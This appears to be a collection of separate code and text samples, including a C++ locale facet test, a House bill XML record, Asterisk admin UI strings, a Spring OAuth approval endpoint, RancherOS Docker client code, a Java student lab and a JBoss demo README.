  // Standard base facet.
  VERIFY( has_facet<base_facet>(loc_c) );
  VERIFY( has_facet<base_facet>(loc_base) );
  VERIFY( has_facet<base_facet>(loc_derived) );

  // Standard derived facet.
  VERIFY( !has_facet<derived_facet>(loc_c) );
  VERIFY( !has_facet<derived_facet>(loc_base) );
  VERIFY( has_facet<derived_facet>(loc_derived) );

  // 1
  try
    {
      if (has_facet<derived_facet>(loc_base))
	{
	  use_facet<derived_facet>(loc_base).widen('k');
	  VERIFY( true );
	}
    }
  catch (...)
    {
      // Expect no exception.
      VERIFY( true );
    }

  // 2
  try
    {
      if (has_facet<base_facet>(loc_derived))
	use_facet<base_facet>(loc_derived).widen('k');
      else
	VERIFY( true );
    }
  catch (...)
    {
      // Expect no exception.
      VERIFY( true );
    }

  return 0;
}


text:
<bill session="111" type="h" number="1177" updated="2009-03-07T12:08:40-05:00">
	<status><introduced date="1235538000" datetime="2009-02-25"/></status>

	<introduced date="1235538000" datetime="2009-02-25"/>
	<titles>
		<title type="short" as="introduced">5-Star Generals Commemorative Coin Act</title>
		<title type="official" as="introduced">To require the Secretary of the Treasury to mint coins in recognition of 5 United States Army 5-Star Generals, George Marshall, Douglas MacArthur, Dwight Eisenhower, Henry "Hap" Arnold, and Omar Bradley, alumni of the United States Army Command and General Staff College, Fort Leavenworth, Kansas, to coincide with the celebration of the 132nd Anniversary of the founding of the United States Army Command and General Staff College.</title>
	</titles>
	<sponsor id="400282"/>
	<cosponsors>
		<cosponsor id="412284" joined="2009-02-25"/>
		<cosponsor id="400284" joined="2009-02-25"/>
		<cosponsor id="400405" joined="2009-02-25"/>
	</cosponsors>
	<actions>
		<action date="1235538000" datetime="2009-02-25"><text>Referred to the House Committee on Financial Services.</text></action>
	</actions>
	<committees>
		<committee name="House Financial Services" subcommittee="" activity="Referral, In Committee" />
	</committees>
	<relatedbills>

	</relatedbills>
	<subjects>

	</subjects>
	<amendments>

	</amendments>
	<summary>

	</summary>
</bill>


text:
class CopyInternshipPositionsToInstitutions < ActiveRecord::Migration
  def up
    execute 'insert into institutions select * from internship_positions'
  end

  def down
  end
end


value: Login

description: Login button text

value: Logout

description: Login button text

value: Dashboard

description: Dashboard menu text

value: Peers

description: Peers menu text

value: Calls

description: Calls menu text

value: Languages

description: Languages menu text

value: Admin

description: Admin menu text

value: Users

description: Users admin menu text

value: Audio recorder

description: Recorder admin menu text

value: Configuration

description: Configuration admin menu text

value: Asterisk informations

description: Asterisk statistics title

value: Asterisk version

description: Asterisk statistics title

value: Restart time

description: Asterisk uptime

value: Last reload time

description: Asterisk system time

value: Channels in use

description: Asterisk channels used

value: Active calls

description: Asterisk active calls

value: Processed calls

description: Asterisk processed calls since starting

value: Operating system informations

description: Operating system informations title

value: Hostname

description: Name of asterisk host

value: System uptime

description: OS uptime

value: System time

description: System time

value: Total RAM

description: Total RAM text

value: Used RAM

description: Used RAM text

value: Total SWAP

description: Shared RAM text

value: SWAP used

description: SWAP used

value: Device

description: Hard drive device

value: Mount

description: Hard drive device

value: Type

description: Format type

value: Disk total size

description: Disk total size

value: Free size

description: Free disk space

value: Percentage of used space

description: Percentage of used space

value: Name

description: name of the network interface

value: Address

description: Addresse of the network interface

value: Packets sent

description: Packets sent by the network interface

value: Packets received

description: Packets received sent by the network interface

value: Outbound errors

description: Errors for outbound packets for the network interface

value: Inbound errors

description: Errors for inbound packets for the network interface

value: Route change error

description: Route change error

value: You do not have the necessary access permissions.  Do you want to login as someone else?

description: Login error raison

value: You must be logged in to access this part of the application.

description: Error to the application part access.

value: Login failed.  Please check your credentials and try again.

description: Login failed.

value: There was a problem with authenticating: {{exception}}.

description: Login failed on the server side.

value: Please enter your login details.

description: Login form message.

value: Username

description: username for login into the application.

value: Password

description: Password for login into the application.

value: SIP peers

description: SIP peers part.

value: IAX2 peers

description: IAX2 peers part.

value: Make a call

description: Originate(make) a call

value: Spye

description: Spy a peer

value: Show informations

description: Show peer's informations

value: Show properties

description: Show peer's properties

value: Peer's informations

description: user or peer informations

value: Object type

description: Object Type

value: Channel type

description: Channel type

value: Channel

description: Channel

value: Status

description: Status

value: Forced CID

description: Forced CID

value: Caller ID

description: Caller ID

value: Context

description: Context

value: Close

description: Close dialog

description: Originate Call

value: Make a call from

description: Originate a call from internal extention

value: Please enter the destination number :

description: Prompt for a destination call number

value: Destination number

description: Destination number

value: Dial

description: Dial button label

value: Cancel

description: Cancel button label

value: Spy Peer

description: Spy peer title

value: Please enter the spyer number

description: Label for the spyer number

value: Spy peer

description: Label for the spy button

description: Label for the cancel spy

value: Peer's properties

description: Cancel button label

description: Close button label

value: Channels

description: Channels table title

description: Channels table column

value: State

description: State table column

value: Transfer

description: Transfer a channel to an other destination(internal)

value: Hang up

description: Hang up a channel.

value: Show channel information

description: Hangup a channel.

value: Start Monitor

description: Start channel/call monitoring(recording)

value: Stop Monitor

description: Stop channel/call monitoring(recording)

value: Listen conversation

description: Spy a channel

description: Calls table title.

value: Source

description: Source column for the calls table

description: Status column for the calls table

value: Destination

description: Destination column for the calls table

value: Park

description: Park menu

description: Hangup menu

value: Show call information

description: Show call information menu

value: Parked Calls

description: Parked Calls  title

value: Parked Call

description: Parked Call column of the parked call table

value: Extention

description: Extention column of the parked call table

value: Parked from

description: Parked from column of the parked call table

value: Transfer a call

description: Title of the transfer dialog

value: Transfer from

description: Transfer a call from the source call/channel

value: Transfer to the destination

description: Transfer to the destination

value: Destination number :

description: Transfer destination label for the input field

value: User name

description: User name column of the users table

value: Last name

description: Last name column of the users table

value: First name

description: First name column of the users table

value: Administrator

description: Administrator column of the users table

value: Edit

description: Edit user button

value: Remove

description: Remove user button

value: New User

description: Add new user button

value: Add new user

description: Add new user dialog title

description: User name dialog field

description: Last name dialog field

description: First name dialog field

description: Password dialog field

description: Password (repeat) dialog field

description: Admin dialog field

description: Add dialog button

description: Cancel dialog button

description: User edition dialog title

description: User button dialog save

description: User remove dialog title

description: Question for confirm remove user processing

description: Cancel dialog button

description: OK dialog button

description: Recorder column number

description: Recorder column comments

description: Recorder column recorded

description: Recorder edit button

description: Recorder remove button

description: Recorder add new number button

description: Number edition dialog caption

description: Label of recordall

description: Number add dialog caption

description: Number label of the add dialog

description: Comments label of the add dialog

description: Recorded label of the add dialog

description: Add button label of the add dialog

description: Cancel button label of the add dialog

description: Remove number dialog title

value: Are you sure to remove the given number ?

description: Remove number dialog title


text:
package org.springframework.security.oauth2.provider.endpoint;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.SessionAttributes;
import org.springframework.web.servlet.ModelAndView;

import javax.servlet.http.HttpServletRequest;
import java.util.Map;

/**
 * Controller for displaying the approval page for the authorization server.
 *
 * @author Dave Syer
 */
@FrameworkEndpoint
@SessionAttributes("authorizationRequest")
public class WhitelabelApprovalEndpoint {

    @RequestMapping("/oauth/confirm_access")
    public ModelAndView getAccessConfirmation(Map<String, Object> model, HttpServletRequest request) throws Exception {
        String template = createTemplate(model, request);
        if (request.getAttribute("_csrf") != null) {
            model.put("_csrf", request.getAttribute("_csrf"));
        }
        return new ModelAndView(new SpelView(template), model);
    }

    protected String createTemplate(Map<String, Object> model, HttpServletRequest request) {
        String template = TEMPLATE;
        if (model.containsKey("scopes") || request.getAttribute("scopes") != null) {
            template = template.replace("%scopes%", createScopes(model, request)).replace("%denial%", "");
        } else {
            template = template.replace("%scopes%", "").replace("%denial%", DENIAL);
        }
        if (model.containsKey("_csrf") || request.getAttribute("_csrf") != null) {
            template = template.replace("%csrf%", CSRF);
        } else {
            template = template.replace("%csrf%", "");
        }
        return template;
    }

    private CharSequence createScopes(Map<String, Object> model, HttpServletRequest request) {
        StringBuilder builder = new StringBuilder("
");
        @SuppressWarnings("unchecked")
        Map<String, String> scopes = (Map<String, String>) (model.containsKey("scopes") ? model.get("scopes") : request
                .getAttribute("scopes"));
        for (String scope : scopes.keySet()) {
            String approved = "true".equals(scopes.get(scope)) ? " checked" : "";
            String denied = !"true".equals(scopes.get(scope)) ? " checked" : "";
            String value = SCOPE.replace("%scope%", scope).replace("%key%", scope).replace("%approved%", approved)
                    .replace("%denied%", denied);
            builder.append(value);
        }
        builder.append("
");
        return builder.toString();
    }

    private static String CSRF = "<input type='hidden' name='${_csrf.parameterName}' value='${_csrf.token}' />";

    private static String DENIAL = "<form id='denialForm' name='denialForm' action='${path}/oauth/authorize' method='post'><input name='user_oauth_approval' value='false' type='hidden'/>%csrf%<input name='deny' value='Deny' type='submit'/></form>";

    private static String TEMPLATE = "
OAuth Approval
"
            + "
Do you authorize '${authorizationRequest.clientId}' to access your protected resources?
"
            + "<form id='confirmationForm' name='confirmationForm' action='${path}/oauth/authorize' method='post'><input name='user_oauth_approval' value='true' type='hidden'/>%csrf%%scopes%<input name='authorize' value='Authorize' type='submit'/></form>"
            + "%denial%";

    private static String SCOPE = "

%scope%: <input type='radio' name='%key%'"
            + " value='true'%approved%>Approve</input> <input type='radio' name='%key%' value='false'%denied%>Deny</input>

";

}


text:
namespace feature
{
class FeaturesCollector;
class FeatureBuilder;
}
namespace platform
{
class LocalCountryFile;
}
namespace storage
{
class CountryInfoGetter;
}
namespace generator
{
namespace tests_support
{
class TestFeature;

class TestMwmBuilder
{
public:
  TestMwmBuilder(platform::LocalCountryFile & file, feature::DataHeader::MapType type,
                 uint32_t version = base::GenerateYYMMDD(base::SecondsSinceEpoch()));

  ~TestMwmBuilder();

  void Add(TestFeature const & feature);
  bool Add(feature::FeatureBuilder & fb);
  void SetUKPostcodesData(std::string const & postcodesPath,
                          std::shared_ptr<storage::CountryInfoGetter> const & countryInfoGetter);
  void SetMwmLanguages(std::vector<std::string> const & languages);

  void Finish();

private:
  platform::LocalCountryFile & m_file;
  feature::DataHeader::MapType m_type;
  std::vector<std::string> m_languages;
  std::unique_ptr<feature::FeaturesCollector> m_collector;
  TestIdToBoundariesTable m_boundariesTable;
  std::shared_ptr<storage::CountryInfoGetter> m_postcodesCountryInfoGetter;
  std::string m_ukPostcodesPath;
  uint32_t m_version = 0;
};
}  // namespace tests_support
}  // namespace generator


text:
> A presentation on the RCS curriculum has a performance based, reflective and collaborative focus.  How can technology enable and enhance learning and teaching in that context.
## Collaborative

## Performance

## Reflective


text:
package docker

import (
	"fmt"
	"sync"

	"golang.org/x/net/context"

	log "github.com/Sirupsen/logrus"
	dockerclient "github.com/docker/engine-api/client"
	composeClient "github.com/docker/libcompose/docker/client"
	"github.com/docker/libcompose/project"
	"github.com/rancher/os/config"
	"github.com/rancher/os/util"
)

type ClientFactory struct {
	userClient   dockerclient.APIClient
	systemClient dockerclient.APIClient
	userOnce     sync.Once
	systemOnce   sync.Once
}

func NewClientFactory(opts composeClient.Options) (project.ClientFactory, error) {
	userOpts := opts
	systemOpts := opts

	userOpts.Host = config.DOCKER_HOST
	systemOpts.Host = config.DOCKER_SYSTEM_HOST

	userClient, err := composeClient.Create(userOpts)
	if err != nil {
		return nil, err
	}

	systemClient, err := composeClient.Create(systemOpts)
	if err != nil {
		return nil, err
	}

	return &ClientFactory{
		userClient:   userClient,
		systemClient: systemClient,
	}, nil
}

func (c *ClientFactory) Create(service project.Service) dockerclient.APIClient {
	if IsSystemContainer(service.Config()) {
		waitFor(&c.systemOnce, c.systemClient, config.DOCKER_SYSTEM_HOST)
		return c.systemClient
	}

	waitFor(&c.userOnce, c.userClient, config.DOCKER_HOST)
	return c.userClient
}

func waitFor(once *sync.Once, client dockerclient.APIClient, endpoint string) {
	once.Do(func() {
		err := ClientOK(endpoint, func() bool {
			_, err := client.Info(context.Background())
			return err == nil
		})
		if err != nil {
			panic(err.Error())
		}
	})
}

func ClientOK(endpoint string, test func() bool) error {
	backoff := util.Backoff{}
	defer backoff.Close()

	var err error
	retry := false
	for ok := range backoff.Start() {
		if !ok {
			err = fmt.Errorf("Timeout waiting for Docker at %s", endpoint)
			break
		}
		if test() {
			break
		}
		retry = true
		log.Infof("Waiting for Docker at %s", endpoint)
	}

	if err != nil {
		return err
	}

	if retry {
		log.Infof("Connected to Docker at %s", endpoint)
	}

	return nil
}


text:
import java.util.Scanner;

/**
 * Mike Helmick
 * Lab 6 - FF benefits
 **/
public class Lab6 {

  public static void main( String[] args ) {
    Scanner kb = new Scanner( System.in );

    System.out.print("What is your frequent flyer class: " );
    char ffClass = kb.next().toUpperCase().charAt(0);

    System.out.println("For class '" + ffClass + "' your benefits are.");
    switch( ffClass ) {
      case 'A':
        System.out.println("Buy 3 first class tickets - get one free!");
      case 'B':
        System.out.println("Always double miles for all fares.");
      case 'C':
        System.out.println("Complimentary meal service on all flights.");
        System.out.println("Personal audio and video system with complimentary headphones and iPod hookups.");
        break;
      case 'D':
        System.out.println("Double miles for all economy class tickets purchased online.");
      case 'E':
        System.out.println("A $5 credit for the sky mall catalogue for each flight segment.");
      case 'F':
        System.out.println("Free headphones for in flight movies.");
      case 'G':
        System.out.println("Free beverages on all flights.");
        break;
      default:
        System.out.println("Unknokwn membership class.");
        break;
    }

  }

}


text:
A series demo that allows you quick understand JBoss Cluster/Data Grid Framework(jGroups, JBossCache, Infinispan).

## Build

* install JDK 1.7 or higher
* install maven 3 - [http://maven.apache.org](http://maven.apache.org/download.html)

Enter the following:

~~~
$ git clone git@github.com:<yourname>/cluster.git
$ cd cluster
$ mvn clean install -P release
~~~

`cluster-demo-dist.zip` will be generated under `cluster/build/target` directory once the build is completed.

## Run

~~~
$ unzip cluster-demo-dist.zip
$ cd cluster-demo-<version>/
$ ./bin/draw.sh
~~~

[Complete jGroups Demos Gallery](build/docs/jgroups-demos.md)

## Contribute

* Open an issue on [https://github.com/jbosschina/cluster/issues](https://github.com/jbosschina/cluster/issues)
* Fork and submit pull request